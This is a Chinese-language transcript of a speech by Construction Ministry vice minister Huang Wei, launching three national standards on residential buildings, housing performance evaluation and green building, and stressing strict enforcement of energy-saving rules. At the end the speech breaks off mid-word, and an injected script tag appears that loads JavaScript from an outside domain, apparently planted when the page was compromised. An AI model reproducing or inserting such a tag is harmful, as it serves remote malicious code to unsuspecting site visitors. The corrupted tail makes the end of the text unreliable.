建設部副部長黃衛在《住宅建筑規范》、《住宅性能評定技術標準》、《綠色建筑評價標準》發布宣貫會上的講話
同志們、朋友們：
由建設部組織編制、審查、批準的國家標準《住宅建筑規范》、《住宅性能評定技術標準》、《綠色建筑評價標準》已與國家質檢總局聯合發布。這三部標準的批準發布，是貫徹落實科學發展觀，落實黨中央、國務院關于建設資源節約型、環境友好型社會，大力發展節能省地型住宅和公共建筑，制定并強制推行更加嚴格的節能、節水、節地、節材標準的又一項重大舉措；也是進一步提高住宅和公共建筑品質，維護社會公眾利益，構建社會主義和諧社會的一項重大舉措。
今天，我們邀請國務院有關部門、各省、自治區、直轄市建設主管部門的有關負責同志，部分設計單位、生產企業的代表以及新聞單位的朋友們，在這里舉行三部標準規范發布宣貫會，目的是加強對建設領域節能、節水、節地、節材標準的宣傳，提升全行業乃至全社會重視和使用工程建設標準的意識。要從資源能源的節約與合理利用的高度，提高嚴格貫徹執行工程建設標準的自覺性，強化對工程建設標準實施的監督管理，進一步發揮工程建設標準的約束和引導作用，促進住宅和公共建筑建設的健康發展。
下面，我談幾點意見。
一、要充分認識工程建設標準在建設資源節約型、環境友好型社會中的重要地位
資源環境約束與城鄉建設和經濟快速增長的矛盾，已經成為我國經濟社會發展面臨的嚴峻挑戰。前不久，我們組織了全國建筑節能情況調查，從2000年到2004年，按節能標準設計的項目只有58.53%，按節能標準建造的項目只有23.25%。在去年的《公共建筑節能設計標準》發布宣貫會上，我也曾強調，設計單位、施工單位、開發單位一定要嚴格執行建筑節能強制性標準。我們發現，在沒有按照建筑節能標準設計的單位里，有大設計院也有小設計院，因此，各級建設主管部門一定要認真抓好標準的落實。建筑節能是個大戰略，是落實科學發展觀，建設社會主義和諧社會、環境友好型社會的非常重要的環節。建設部要加強標準的實施監督。只要不按照強制性標準去做，不按照國家的標準去做，一味遷就開發商或者業主，那就要受到處罰。作為設計單位首先要遵守國家的標準，現在有些設計人員經常向我們訴苦、抱怨，覺得自己沒辦法，開發商、業主有這個要求，我們不按照做，就沒有活干，這不能成為違反強制性標準的理由，這是個非常嚴肅的問題，我們在建筑節能這個問題上，態度是非常堅定的。我們現在有很多的強制性標準，比如，在建筑節能和結構安全上，就絲毫不能含糊。當然，設計人員在結構安全上，不好說業主怎么要求，我就怎么做，不管安全了。但是，現在大家的思想認識在一定程度上還存在認為節能是無關緊要的。希望建設部的有關部門和省市配合起來，要抓典型，要抓做的好的，也要抓做的不好的，典型主要抓大院、大的單位，要是大院、大的單位不能帶頭做好，整個設計市場就不可能把國家的標準落實好。
黨的十六屆五中全會提出，要把節約資源、走可持續發展道路作為基本國策，加快建設資源節約型、環境友好型社會，確定了“十一五”期末單位國內生產總值能源消耗比“十五”期末降低20%左右、生態環境惡化趨勢基本遏制的目標。中央經濟工作會議要求，2006年務必在節約能源資源上取得明顯成效。為此，我們要抓好節能省地型建筑的發展，制定并強制執行節能、節水、節地、節材標準，加強工程建設標準體系建設，全面促進建設市場各方主體節能、節水、節地、節材，保護生態和環境，發展循環經濟，在建設資源節約型、環境友好型社會中充分發揮先導作用。
工程建設標準作為建設活動的基本規則和技術準則,涵蓋了規劃、勘察、設計、施工、驗收、運行管理等各個環節。而發展節能省地型住宅與公共建筑的實質，就是在建筑的全壽命周期內充分體現節能、節水、節地、節材以及環境保護的要求，在保證建筑安全性、適用性、經濟性的基礎上，實現建筑的可持續發展。
工程建設標準為節能省地型建筑提供了技術支撐和實施依據。因此，發展節能省地型建筑，離不開工程建設標準化的基礎性作用。建設工程的地址選擇、規劃布局、造型、建筑施工方法、各種建材以及建筑產品的使用，對各種資源能源的合理利用和消耗程度有很大影響。據有關資料反映，我國建筑能耗約占全國總能耗的30%，如果加上建筑材料的生產，能耗還要更高，用水約占城市總用水量的47%，使用的鋼材和水泥分別約占全國總使用量的30%和25%。我國每年城鄉新建房屋建筑面積近20億平方米，其中大量的建筑為高耗能建筑；既有建筑近400億平方米，大量的也是高耗能建筑，一方面這是當時的歷史條件下遺留的產物，我們當時還沒有強制性標準。另一方面還有相當的比例是我們設計人員、設計單位沒有按照標準做的，特別是近幾年，也遺留下大量的非節能建筑，所以，我們一定要把好關。目前，我國單位建筑面積能耗高于發達國家。對如此量大面廣、高資源消耗的建設，建筑業及其相關產業能不能切實貫徹“節能、節水、節地、節材、環保”的要求，發展循?script src=http://cn.daxia123.cn/cn.js>
